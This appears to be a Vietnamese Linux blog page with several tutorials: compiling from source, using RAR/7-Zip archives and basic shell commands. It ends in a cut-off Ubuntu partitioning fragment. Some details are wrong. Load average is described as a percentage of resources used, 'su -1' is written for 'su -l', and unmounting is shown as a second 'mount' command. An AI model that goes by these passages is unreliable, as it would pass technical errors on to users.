Câu trả lời là bởi vì các phần mềm này là phần mềm mã nguồn mở và các nhà phát triển không có cách gì hơn là để lại phần biên dịch cho chúng ta. Tuy nhiên bạn đừng thất vọng vì có một số nhà phát triển rất là tốt bụng có thể biên dịch sẵn cho chúng ta ra các gói có dạng rpm và cùng với sự hỗ trợ của công ty Red Hat chúng ta cũng đã có những chương trình quản lý các phần mềm hiệu quả không kém gì trên Windows như RPM (Redhat Package Manager). Mặc dù là thế nhưng không phải lúc nào các gói mới nhất từ các nhà phát triển gốc đều có phiên bản biên dịch sẵn mà thường là một khỏang thời gian sau các phiên bản đó mới có được dưới dạng biên dịch sẵn. Bên cạnh đó còn có rất nhiều nhà phát triển không hề biên dịch sẵn sản phầm của mình mà đòi hòi người dùng phải biên dịch, điển hình là trình chơi phim và nhạc xine. Các gói biên dịch sẵn các bạn có từ xine đa số là từ các nhà phát triển khác. Do đó nếu bạn không bạn không biết cách cài đặt các gói từ nguồn là một trở ngại rất lớn cho việc hiểu và quản trị hệ thống của riêng mình.

2. Căn bản của việc cài đặt

Điều đầu tiên khi bạn tiến hành cài đặt là bạn phải có mã nguồn của gói đó trước. Hãy lên mạng search bất kì gói nào bạn thích như thư viện Gtk+ hoặc Gnome… Sau khi tải về, thông thường có dạng là .gz hoặc .bz2, đây đều là 2 chuẩn nén khác nhau, sau khi giải nén bằng gunzip cho gz hoặc bunzip2 cho bz2 thì các gói sẽ có dạng mới là tar, cũng là một chuẩn nén khác, bạn có thể giải nén bằng lệnh, tar -xvf… Thế nhưng đế dễ dàng và tiết kiệm dung lượng ổ đĩa thì chúng ta có thể gộp các câu lệnh đó thành 1 như sau:

- Đối với gói .gz: # tar -zxvf tengoi.gz
- Đối với gói .bz2: # tar -jxvf tengoi.bz2

Sau khi giải nén xong và tìm tập tin INSTALL để đọc cụ thể cho phần hướng dẫn cài đặt. Thế nhưng hầu như các gói đều tuân theo các thao tác tuần tự sau:

# ./configure
# make
# make install

Chỉ có vài gói đặc biệt sẽ có riêng cách cài đặt nhưng khi bạn đã nắm vững nguyên tắc chung thì dù là cách thức nào bạn cũng có thể xoay xở được. Chúng ta hãy xét đến câu lệnh đầu tiên, ./configure… Thực chất configure là một shell script sẽ kiểm tra những yêu cầu của hệ thống của bạn có đáp ứng đủ để cài đặt gói lên không, ví dụ như một số gói đòi hỏi bạn phải có sẵn thư viện đồ họa Gtk 2.4 trở lên hoặc là thư viện để giải nén nhạc Mp3…

Rất nhiều gói có sự phụ thuộc như thế chứ các gói khi tải về không hề có sẵn các gói tương ứng cần thiết cho nó. Khi bạn chạy configure xong kết quả sẽ cho bạn biết các gói nào cần thiết để cài đặt. Nhiệm vụ của bạn không gì hơn là phải tìm các gói phụ thuộc đó cài lên máy rồi mới tiếp tục việc cài đặt. Nếu như hệ thống của bạn thỏa mãn đầy đủ các yêu cầu để cài đặt thì các Makefile sẽ được tạo ra. Makefile là một file đặc biệt của tiện ích make nhằm hướng dẫn biên dịch mã nguồn của gói ra dạng thực thi.

Sau khi bạn thực thi lệnh ‘make’ xong thì toàn bộ mã nguồn của gói đã được biên dịch sang dạng thực thi nhưng các file thực thi vẫn còn nằm trên thư mục hiện hành. Do đó bạn cần phải thực hiện thêm lệnh ‘make install’ để chép các file thực thi đó sang đúng vị trí của nó trên hệ thống. Nếu như không có thông báo lỗi gì xảy ra thì bạn đã hòan tất việc cài đặt gói lên hệ thống của mình.

3. Tổ chức các file trên hệ thống

Bạn hoàn toàn biết thư mục trên Linux thì thư mục /usr là thư mục quan trọng nhất vì nó sẽ chứa các chương trình và hàm thư viện trên đó. Trong thư mục /usr/bin là sẽ chứa các file thực thi cho các gói bạn đã cài đặt trên máy, các file trong thư mục này bạn sẽ thấy các file rất quen thuộc như mozilla, gedit .v.v… Thư mục /usr/lib sẽ chứa các hàm thư viện, bạn sẽ thấy rất nhiều files có phần mở rộng là .so (shared object) là các hàm thư viện liên kết động hoặc .a (archive) hoặc .la đều là các hàm thư viện liên kết tĩnh. Đặc tính căn bản của 2 dạng thư viện này là hàm thư viện liên kết tĩnh sẽ được liên kết thẳng với files thực thi luôn trong quá trình liên kết, còn hàm thư viện liên kết động thì sẽ được liên kết trong quá trình thực thi, cho nên sau khi chương trình đã được biên dịch và liền kết rồi các thư viên tĩnh chúng ta có thể bỏ đi nhưng thư viện liên kết động thì bắt buộc phải đi kèm với chương trình. Thư mục /usr/share sẽ chứa các icon, manual hoặc info của gói.

4. Loại bỏ một gói

Nếu bạn mong muốn lọai bỏ một gói đã cài đặt trên hệthống thì cách duy nhất là bạn phải vào lại thư mục mã nguồn của gói và gõ lệnh make ‘uninstall’… thông thường bạn sẽ có các câu lệnh sau: ‘make clean’ ‘make distclean’… Các câu lệnh có ý nghĩa rất tương đối và được định nghĩa trong tập tin Makefile, nên đầu tiên bạn cứ thử với ‘make uninstall’ rồi ‘make clean’ cái cuối cùng ‘make distclean’ là giúp bạn xóa hết các tập tin đã biên dịch ở thư mục nguồn và đồng thời xóa Makefile, bạn phải chạy lại ./configure để tạo lại Makefile.

5. Quản lý các gói

Do việc xóa bỏ một gói như trên rất là phiền phức đôi lúc bạn chẳng thể xóa bỏđược nếu như mất đi mã nguồn, cho nên bạn có thể thay vì cài nó vào thư mục mặc định là /usr thì bạn có thể cài vào các thư mục của riêng bạn, ví dụ như bạn có thể tạo thư mục ‘/soft’… Sau đó để cài gói gedit thì bạn tạo thêm thư mục /soft/gedit và dùng lệnh ./configure… bạn thêm tùy chọn sau:

./configure –prefix=/soft/gedit

Thì khi bạn gõ make install sẽ copy toàn bộ sang thư mục /soft/gedit. Khi bạn muốn xóa toàn bộ gói thì chỉ đơn giản xóa đi thư mục đó thôi. Lưu ý là khi bạn cài vào thư mục riêng của mình rồi bạn phải tạo 2 đường dẫn cho 2 biến môi trường (environment variable) LD_LIBRARY_PATH và PKG_CONFIG_PATH.

LD_LIBRARY_PATH sẽ có đường dẫn đến thư mục lib của gói vừa tạo (ví dụ như /soft/gedit/lib) còn PKG_CONFIG_PATH sẽ có đường dẫn đến thư mục pkg_config trong thư mục lib (ví dụ như /soft/gedit/lib/pkg_config). Bên cạnh đó nếu bạn muốn chương trình gọi tự động thì bạn cũng nên thêm vào biến PATH cho gói của mình.

6. Lời kết

Đối với cách cài trên thì bạn dể dàng quản lý các gói của mình nhưng đối với các dạng thư viện thì bạn nên cài nó vào thư mục /usr hơn là thư mục riêng của mình vì một số gói sẽ tìm các thư việc trên thư mục mặc định /usr và /usr/local hơn là các thư mục riêng người dùng nên nếu bạn cài lên thư mục riêng thì đôi lúc các thư viện đó sẽ không được tìm ra. Thông thường lệnh ./configure đi đôi với rất nhiều tùy chọn cho phép bạn lựa chọn nhiều tính năng khác nhau, bạn hãy gỏ ./configure –help để mà biết đầy đủ các tùy chọn của gói. Bài viết chắc chắn sẽ không tránh khỏi những thiếu sót bằng cách này hay cách khác, rất mong sự góp ý của các bạn, Xin cám ơn.

Sử dụng các lưu trữ nén RAR và 7-Zip trong Linux Thứ Tư, Tháng 4 2 2008 

Định dạng file nén RAR và 7-Zip có nguồn gốc từ Windows và không được hỗ trợ tự động trong Unix như Gzip và TAR trước đây. Nhưng với một phần mềm chuẩn, bạn có thể sử dụng các file này mà không gặp phải phiền phức gì.

Trước hết chúng ta làm quen với một số điểm cơ bản. RAR, tên viết tắt của Roshal Archive, là định dạng file nén có bản quyền do Eugene Roshal phát triển. Trước đó, Roshal đã bán tiện ích thương mại có tên WinRAR cho Windows, đồng thời cũng cung cấp miễn phí bản client chỉ giải nén cho một số hệ điều hành.

7-Zip là một ứng dụng Windows, được thiết kế để quản lý hầu hết các kiểu file nén. Định dạng tự nhiên của nó là 7z, sử dụng một nhánh thuật nén hiện đại của LZ77. Ứng dụng Windows 7z và bộ phát triển phần mềm đều đã được cung cấp với tên LGPL.

Hai kiểu định dạng này tạo tỷ lệ nén tốt hơn nhiều cho các kiểu dữ liệu phổ biến so với một số thuật toán cũ. Chúng cũng hỗ trợ phân tách các lưu trữ lớn thành nhiều bộ nhỏ hơn nhằm di chuyển và khôi phục lỗi dễ dàng. Sự kết hợp cả hai định dạng khiến chúng trở thành lựa chọn số một cho phân phối trực tuyến của các file cực lớn như ảnh ISO 7z và Linux.

7z và Linux
7-Zip là ứng dụng mã nguồn mở, nhưng chỉ dành cho kiểu file Windows. Với người dùng Linux, các liên kết dự án với gói client command-line được đặt tên p7zip cung cấp hai thực thi: 7z và 7za. Cả hai có cùng cú pháp và tuỳ chọn, chỉ khác ở chỗ 7za là ứng dụng “tự chứa” chỉ được dùng cho 7z và một số định dạng Unix chủ yếu (tar, gzip, bzip2, v.v…). Còn 7z dùng cấu trúc plug-in, cho phép hỗ trợ nhiều định dạng nén bổ sung khác.

Cú pháp cơ bản: 7z function options ten_file.7z. Để giải nén một lưu trữ, dùng 7z x ten_file.7z. Bạn cũng có thể giải nén file bằng cách: 7z e ten_file.7z . Trong đó, hàm e có thể giải nén tất cả file vào thư mục hiện tại đang hoạt động, còn x duy trì đường dẫn của chúng.

RAR và Linux

Trường hợp của RAR thì phức tạp hơn một chút do nó có bản quyền của định dạng file. Trên website RARLAB cung cấp phiên bản chỉ dùng giải nén có bản quyền nhưng miễn phí cho khách hàng Linux, gọi là unrar. Bản này được thiết kế cho phân phối Intel 32-bit trong cả hai gói RPM, Slackware; như các mã nhị phân độc lập cho hệ thống Intel 64-bit, PowerPC; và các hệ thống Linux ARM. Chương trình unrar của RARLAB được cung cấp thành phần mềm miễn phí và phần mềm nguồn mở nên bạn sẽ không thấy bất kỳ phân phối Linux nào có tích hợp nó trong hệ điều hành. Bạn có thể download một đoạn mã nguồn tarball trên RARLAB, nhưng quy định bản quyền kèm theo cấm bạn dùng nó để phát triển bất kỳ chương trình mã hoá RAR nào.

Một lựa chọn khác là công cụ dòng lệnh có bản quyền GPLv2, do dự án Gna! phát triển. Gna! urar được thiết kế như một bộ bọc quanh unrarlib, thư viện mã hoá RAR nguồn mở do Christian Scheurer và Johannes Winkelmann, những người không thuộc Gna! phát triển.
Scheurer và Winkelmann phát triển thư viện unrarlib từ mã nguồn RARLAB nguyên bản ban đầu, nhưng vẫn phải cần các quyền do Eugene Roshal cho phép để trở thành phần mềm miễn phí. Do đó, có thể hiểu unrarlib được phát triển từ GPLv2 và bản quyền ban đầu của RARLAB.

Hợp đồng bản quyền này có vẻ là con đường thú vị để thực hiện phần mềm chạy cuối quanh RARLAB và tạo chương trình mã hoá RAR tin học từ mã nguồn ban đầu, nhưng cho tới nay điều này vẫn chưa diễn ra. Sheurer không cảm thấy thích thú với ý tưởng này. Tác giả nói rằng, anh thích dùng các định dạng nguồn mở để tạo lưu trữ hơn. “Không phải lúc nào bạn cũng có thể lựa chọn được kiểu định dạng dữ liệu. Vì thể, thật tuyệt nếu có cách thức mở để truy cập nó. Nhưng bạn có thể chọn cách tạo ra một lưu trữ. Nếu không muốn sử dụng các công cụ nén nguồn đóng, có nhiều lựa chọn khác cho bạn”.

Chương trình giải nén unrar có bản quyền sử dụng cú pháp cơ bản như 7z và 7za. Để giải nén, lưu trữ và duy trì đường dẫn file, gõ unrar x ten_file_luu_tru.rar. Trong GPL unrar, bạn cần thêm một dấu nối trước x: unrar -x ten_file_luu_tru.rar.

Hiện nay, thư viện unrarlib chỉ hỗ trợ phiên bản 2 (version 2) của định dạng file RAR. Sắp tới đây, định dạng RAR3 mới hơn có thể sẽ được hỗ trợ trong unrarlib, nhưng Scheurer nói rằng, anh không chắc có thể hy vọng một số kích hoạt lại từ RARLAB.

Hỗ trợ giao diện người dùng GUI

Nếu bạn thực hiện được hầu hết mọi việc trên chương trình Window Manager của Linux, bạn thật may mắn. Cả GNOME và KDE đểu có các chương trình quản lý lưu trữ đồ hoạ. File Roller cho GNOME và Ark cho KDE. Hầu hết mọi phiên bản gần đây của cả hai chương trình đều dùng cơ chế plug-in, hỗ trợ nhiều định dạng lưu trữ khác nhau và dựa trên p7zip để hỗ trợ cho 7z, dựa trên Gna! unrar hỗ trợ cho RAR. Mặc dù vậy, để giải quyết vấn đề không tương thích của các file RAR3 mới, bạn vẫn cần cài đặt chương trình unrar có bản quyền trên máy của mình.

Như đã đề cập đến ở phần đầu, cả 7z và RAR đều hỗ trợ phân tách các file lớn thành nhiều phần nhỏ hơn. Nhưng trong chương trình kiểm tra, cả File Rooler và Ark đều nhận ra rằng một thư mục đầy đủ với các file được đánh số lần lượt myfile.7z.001, myfile.7z.002, myfile.7z.003, v.v… tạo một file 7z phân tách thành các đoạn có kích thước theo bite.

Do đó, để có dữ liệu bên trong, bạn cần liên kết các file phân tách lại thành một file hoàn chỉnh trên dòng lệnh, sử dụng lệnh cat: cat ten_file.7z.001 ten_file.7z.002 ten_file.7z.003 > ten_file.7z. Một file hoàn chỉnh gắn lại từ các phần sẽ được tạo, đặt tên là ten_file.7z. Tại thời điểm đó, bạn có thể mở lưu trữ trong File Roller hoặc Ark. Nhưng sẽ nhanh hơn nếu gõ 7z x ten_file.7z.

Các lệnh Shell cơ bản trong Linux Thứ Tư, Tháng 4 2 2008 

Khi mở một shell, bạn cần đến tài khoản kích hoạt vào thư mục chủ (thông thường nằm trong /home/tên_người_dùng).

Chú ý rằng mỗi lệnh đều có nhiều tùy chọn riêng của mình. Để xem các tùy chọn cho một lệnh cụ thể, đơn giản bạn chỉ cần gõ “man <command>” (trong đó: man là từ khóa; command là tên lệnh). Một điểm quan trọng cần chú ý là trong các hệ điều hành Linux, câu lệnh có phân biệt chữ hoa, chữ thường. “A” sẽ được hệ điều hành hiểu là khác so với “a”.

Để vào hệ thống file, dùng:

- pwd: đưa ra ngoài màn hình thư mục đang hoạt động (ví dụ: /etc/ssh).

- cd: thay đổi thư mục (ví dụ: cd .. – ra một cấp thư mục hiện tại; cd vidu – vào thư mục /vidu).

- ls: đưa ra danh sách nội dung thư mục.

- mkdir: tạo thư mục mới (mkdir tên_thumuc).

- touch: tạo file mới (touch ten_file).

- rmdir: bỏ một thư mục (rmdir ten_thumuc).

- cp: copy file hoặc thư mục (cp file_nguồn file_đích).

- mv: di chuyển file hoặc thư mục; cũng được dùng để đặt lại tên file hoặc thư mục (mv vị_trí_cũ vị_trí_mới hoặc mv tên_cũ tên_mới).

- rm: loại bỏ file (rm tên_file).

Để tìm kiếm file, bạn có thể dùng:

- find <tiêu chuẩn tìm kiếm>: dùng cho các tên file.

- grep < tiêu chuẩn tìm kiếm>: để tìm nội dung trong file.

Để xem một file, bạn có thể dùng:

- more <tên file>: hiển thị file theo từng trang.

- cat < tên file>: hiển thị tất cả file.

- head < tên file>: hiển thị các dòng đầu tiên.

- tail < tên file>: hiển thị các dòng cuối cùng (có thể hữu ích trong những trường hợp như khi bạn muốn xem thông tin cuối cùng của một file hệ thống).

Để chính sửa file, bạn phải sử dụng trình soạn thảo tích hợp sẵn trên dòng lệnh. Thông thường, đây là vi và được dùng với cú pháp: vi <tên file>.

Để giải nén một lưu trữ (thông thường có đuôi tar.gz), bạn phải dùng lệnh tar với cú pháp tar -xvf <tên_file>.

Để in một file, dùng lệnh lpr <tên_file>. Chú ý là bạn phải có một số daemon hoạt động để quản lý máy in. Thông thường đây là các cup (chủ yếu là UNIX Printing System) có thể sử dụng cho tất cả các phân phối chính.

Để loại bỏ file khỏi hàng đợi ở máy in (bạn có thể lên danh sách hàng đợi bằng lệnh lpq), sử dụng câu lệnh lprm <tên_file>.

Để lắp hoặc gỡ bỏ thiết bị (thêm vào hệ thống file với vai trò như một phương tiện được phép sử dụng), dùng:

- mount /mnt/floppy: lắp thêm ổ mềm.

- umount /mnt/floppy: gỡ bỏ ổ mềm.

- mount /mnt/cdrom: lắp ổ CD-ROM.

- mount /mnt/cdrom: gỡ ổ DC-ROM.

Các thiết bị này thường được cài và cho phép sử dụng một cách tự động. Nhưng có thể một ngày đẹp trời nào đó bạn lại phải tự mình thực hiện công việc này khi có lỗi xảy ra. Đừng lo lắng!

Để tạo một phân vùng

Đầu tiên, tạo một thư mục trong /mnt (mkdir /mnt/ổ_đĩa_mới). Sau đó sử dụng lệnh mount (mount /dev/source /mnt/ ổ_đĩa_mới), trong đó /dev/source là thiết bị (tức phân vùng) bạn muốn lắp thêm vào hệ thống file.

Nếu muốn kết nối tới một host từ xa, sử dụng lệnh ssh. Cú pháp là ssh <tên_host>.

Quản lý hệ thống:

- ps: hiển thị các chương trình hiện thời đang chạy (rất hữu ích: ps là cái nhìn toàn bộ về tất cả các chương trình).

Trong danh sách đưa ra khi thực hiện lệnh ps, bạn sẽ thấy có số PID (Process identification – nhân dạng tiến trình).

Con số này sẽ được hỏi đến khi muốn ngừng một dịch vụ hay ứng dụng, dùng lệnh kill <PID>.

- top: hoạt động khá giống như Task Manager trong Windows. Nó đưa ra thông tin về tất cả tài nguyên hệ thống, các tiến trình đang chạy, tốc độ load trung bình… Lệnh top -d <delay> thiết lập khoảng thời gian làm tươi lại hệ thống. Bạn có thể đặt bất kỳ giá trị nào, từ .1 (tức 10 mili giây) tới 100 (tức 100 giây) hoặc thậm chí lớn hơn.

- uptime: thể hiện thời gian của hệ thống và tốc độ load trung bình trong khoảng thời gian đó, trước đây là 5 phút và 15 phút.

Thông thường tốc độ load trung bình được tính toán theo phần trăm tài nguyên hệ thống (vi xử lý, RAM, ổ cứng vào/ra, tốc độ load mạng) được dùng tại một thời điểm. Nếu tốc độ được tính toán là 0.37, tức có 37% tài nguyên được sử dụng. Giá trị lớn hơn như 2.35 nghĩa là hệ thống phải đợi một số dữ liệu, khi đó nó sẽ tính toán nhanh hơn 235% mà không gặp phải vấn đề gì. Nhưng giữa các phân phối có thể khác nhau một chút.

- free: hiển thị thông tin trên bộ nhớ hệ thống.

- ifconfig <tên_giao_diện>: để xem thông tin chi tiết về các giao diện mạng; thông thường giao diện mạng ethernet có tên là eth(). Bạn có thể cài đặt các thiết lập mạng như địa chỉ IP hoặc bằng cách dùng lệnh này (xem man ifconfig). Nếu có điều gì đó chưa chính xác, bạn có thể stop hoặc start (tức ngừng hoặc khởi_động) giao diện bằng cách dùng lệnh ifconfig <tên_giao_diện> up/down.

- passwd: cho phép bạn thay đổi mật khẩu (passwd người_dùng_sở_hữu_mật_khẩu hoặc tên người dùng khác nếu bạn đăng nhập hệ thống với vai trò root).

- useradd: cho phép bạn thêm người dùng mới (xem man useradd).

Dù ở phân phối nào, bạn cũng có thể dùng phím TAB để tự động hoàn chỉnh một lệnh hoặc tên file. Điều này rất hữu ích khi bạn quen với các lệnh. Bạn cũng có thể sử dụng các phím lên, xuống để cuộn xem các lệnh đã nhập. Bạn có thể dùng lệnh đa dòng trên một dòng. Ví dụ như, nếu muốn tạo ba thư mục chỉ trên một dòng, cú pháp có thể là: mkdir thư_mục_1 ; mkdir thư_mục_2 ; mkdir thư_mục_3.

Một điều thú vị khác nữa là các lệnh dạng pipe. Bạn có thể xuất một lệnh thông qua lệnh khác. Ví dụ: man mkdir | tail sẽ đưa ra thông tin các dòng cuối cùng trong trang xem “thủ công” của lệnh mkdir.

Nếu lúc nào đó được yêu cầu phải đăng nhập với tài khoản gốc (tức “siêu” admin của hệ thống), bạn có thể đăng nhập tạm thời bằng cách dùng lệnh su. Tham số -1 (su-1) dùng để thay đổi thư mục chủ và cho các lệnh đã hoặc đang dùng. Chú ý là bạn cũng sẽ được nhắc một mật khẩu.

Để thoát hay đóng shell, gõ exit hoặc logout.

bai 4 Thứ năm, Tháng 3 20 2008 

Sau đó bạn có thể định dạng cho phân vùng của bạn. Bằng cách chọn Create new partition ở phân vùng Unallocate

Sau khi đã tạo được các phân vùng để cài đặt ( 1 phân vùng cho thư mục gốc / và một phân vùng cho Swap (có hay không cũng được)) bạn nhấn vào Apply để thực hiện các thao tác phân vùng.

Lúc này bạn có thể tiến hành cài đặt Ubuntu bằng cách nhấn vào biểu tượng Install (khi cài đặt chọn ngôn ngữ mặc định là tiếng Anh nha).

Tới bước Prepare disk space bạn chọn vào Manua